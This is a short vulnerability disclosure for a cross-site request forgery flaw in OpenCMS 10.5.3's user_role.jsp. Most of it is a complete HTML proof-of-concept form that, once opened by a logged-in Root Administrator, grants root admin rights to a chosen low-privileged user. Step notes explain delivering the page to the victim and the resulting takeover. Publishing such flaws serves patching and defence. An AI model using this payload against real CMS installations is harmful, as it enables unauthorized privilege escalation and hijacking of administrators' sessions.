1. Vendor Description:

2. Technical Description:

Cross-site request forgery (CSRF) vulnerability in system/workplace/admin/accounts/user_role.jsp in OpenCMS 10.5.3 allows remote attackers to hijack the authentication of administrative users for requests that perform privilege escalation.

3. Proof Of Concept:

a) Send below crafted request to logged in user who is having Root Administrator level access.

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://[DomainName]/opencms/system/workplace/admin/accounts/user_role.jsp" method="POST">
<input type="hidden" name="dialogtype" value="" />
<input type="hidden" name="root" value="" />
<input type="hidden" name="sortcol" value="" />
<input type="hidden" name="preactiondone" value="" />
<input type="hidden" name="oufqn" value="" />
<input type="hidden" name="resource" value="" />
<input type="hidden" name="userid" value="Replace with actual user id of low privileged user." />
<input type="hidden" name="closelink" value="&#37;2Fopencms&#37;2Fsystem&#37;2Fworkplace&#37;2Fviews&#37;2Fadmin&#37;2Fadmin&#45;main&#46;jsp&#37;3Fpath&#37;3D&#37;2Faccounts&#37;2Forgunit&#37;2Fusers&#37;26action&#37;3Dinitial" />
<input type="hidden" name="framename" value="" />
<input type="hidden" name="ispopup" value="" />
<input type="hidden" name="originalparams" value="" />
<input type="hidden" name="message" value="" />
<input type="hidden" name="selitems" value="RoleRootAdmins" />
<input type="hidden" name="title" value="" />
<input type="hidden" name="style" value="new" />
<input type="hidden" name="page" value="" />
<input type="hidden" name="base" value="" />
<input type="hidden" name="path" value="&#37;2Faccounts&#37;2Forgunit&#37;2Fusers&#37;2Fedit&#37;2Frole" />
<input type="hidden" name="action" value="listmultiaction" />
<input type="hidden" name="searchfilter" value="" />
<input type="hidden" name="redirect" value="" />
<input type="hidden" name="force" value="" />
<input type="hidden" name="formname" value="lsre&#45;form" />
<input type="hidden" name="listaction" value="ma" />
<input type="hidden" name="listMultiAction" value="RoleRootAdmins" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

b) Once the logged in user opens the URL the form will get submitted with active session of root administrator and action get performed successfully.

c) By leveraging this vulnerability user can gain Root Level Administrator Access to the CMS.
